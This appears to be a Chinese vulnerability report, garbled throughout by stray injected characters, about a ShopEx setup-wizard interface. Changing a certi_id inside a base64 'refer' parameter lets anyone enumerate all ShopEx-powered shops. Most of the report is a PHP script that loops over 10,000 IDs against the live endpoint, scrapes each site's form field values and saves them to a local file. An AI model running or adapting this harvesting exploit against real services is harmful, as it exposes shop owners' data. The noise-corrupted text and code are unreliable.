|
|
简要描述:% G, v8 d. v5 l- o9 M
ShopEx某接口缺陷,可遍历所有网站0 R; P# E4 ?, F5 h1 K
详细说明:
5 ^; S% _" c3 J* b; S问题出现在shopex 网店使用向导页面
2 p7 F8 ~1 w# S4 U, W# B1 d4 w) A' t& u# F
0 L/ ^/ h- [+ x1 G& L$ _' Q E4 v
. J+ ^1 b. y2 U" j1 `" thttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=: x5 ^6 n! W9 [* r, ~
5 z4 @4 b. v% ~+ Q
8 T: D2 C4 U- ]' q+ L1 L3 u- `6 O
) D! `3 |0 o0 }& c: o! T; C
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}* W( J5 j% G6 j, G0 u; V1 |2 j1 I
6 G( q1 b) ]+ ~. ~; ]
o6 m& m# S" a+ `* H
' z2 b+ l" ^$ Z) f6 [# q+ S" [我们修改certi_id 即可遍历所有使用了ShopEx程序的网站 % }) _. o2 W0 H( i9 l
O5 w/ U5 l( Q
' |6 ?" O" ]/ t3 D! u( p6 G" c6 ?# f
<?php& T5 [* m& E* B2 I9 ]
" j6 c8 I* ?$ s; G9 C$ `, M
for ($i=1; $i < 10000; $i++) { //遍历
* \ W Q8 j! Q6 t
! B6 i+ g: y( W3 D+ g4 D3 D% H ShowshopExD($i);& G) O+ N6 B E
# N$ L2 s5 f- h. R7 {0 i
}5 A2 ?! N7 ?& E8 `4 U4 p
. g1 y; O8 A9 ^3 O! e! ] function ShowshopExD($cid) {1 g) x* k5 T8 U2 F1 U: g9 [; m
- U/ `( ^2 O; `7 R( `* f. `" z W: `
$url='http://guide.ecos.shopex.cn/step2.php';8 J. X' t8 [. Q2 ~" W
! g' }; F1 j& e! F6 |( [1 y& G $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');/ q1 H4 Y4 t/ n$ a$ }7 _. a" J
1 q1 a- l. z+ j2 [! I5 T m
$url = $url.'?refer='.$refer;
; m4 D% y+ e! w% e2 Q
$ r) y8 I! y0 a7 t- e $ch = curl_init($url);3 c! K& ^7 e8 |
G$ P/ Y* Q7 o5 M) ~. A7 I; | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
& \1 R+ ], g' P5 f. D H; |
+ b- S2 G( m3 D' J# d6 X curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;) P! b& E( u5 U1 V
/ V7 V! E- r8 R $result = curl_exec($ch);% v$ u, T5 H5 T
7 z, t+ Q' u% P- x' s
$result = mb_convert_encoding($result, "gb2312", "UTF-8");# |1 C; x! n: D2 y
X! q @# S! F/ N) v+ q* G" O5 U1 U if(strpos($result,$refer))" B S: c# m* |, i: }
4 g' t2 X5 u; _! N' t) j0 a: d
{
( T6 W2 s( b6 x: t; [( [
. B4 T9 Q% Z' q% |: @; |& C" } $fp = fopen("c:/shopEx.txt",'ab'); //保存文件1 ^9 C L- ~# e) k( y9 t6 a
5 `! A) E7 E9 i( w7 y; r+ y
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);$ K0 n$ G( C8 k: E( d2 U
1 ]3 o. x7 A8 t; P4 h foreach ($value[1] as $key) {
* b+ {0 q _: C1 G0 N7 b4 i/ L' A) T/ ^
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);2 j5 ]+ o+ F2 Q
+ }$ |& Y( `; E) l/ s. j" I: f
echo $res[1][0].':'.$res[3][0]."\r\n";' C" ~' u! v s5 S; p/ E; E
; G) F! Y K: s: V5 ^. s
$col =$res[1][0].':'.$res[3][0]."\r\n"; - w! a+ R H+ B1 h3 M- W9 O+ z. R) D* Z
9 m8 Y1 W3 q/ a# \ e3 b& P fwrite($fp, $col, strlen($col)); 8 `, l5 l& G: U. O7 `* h! j$ J# p
! G# ~7 Z! I) T+ _( Y+ Y
}
7 v, f4 B) I' u$ r) `( t& E/ M0 \% f- ~7 W) W) l: m
echo '--------------------------------'."\r\n";
4 d4 d$ r X, @2 w$ L
; H& s/ r. E9 T fclose($fp);
: f8 [ z) {% a' W- k4 l/ T1 e7 E+ i/ ^$ g9 X+ \, k) C
}
8 D( e: [2 i% Z! N; y# s1 d" D3 H/ P$ T
flush();0 ~# R* J4 I7 t
! k% `. t" n$ p" t3 A) E
curl_close($ch);* H& q7 O* t( P! R% f
2 o( p& R) \( w v! g u+ {; ^6 X. m* X }1 |; h. ?; A. _- Z4 T& e, ~
3 |. t9 B* n7 b4 _8 E8 Z?>' }4 B/ c" l. M& K# T& Q$ }7 e$ h
漏洞证明:
! |4 z9 ~' b3 a$ T) G+ s5 R$ chttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg v4 ^# d2 N! y
refer换成其他加密方式
; C. Q( j! { _7 z- A |
|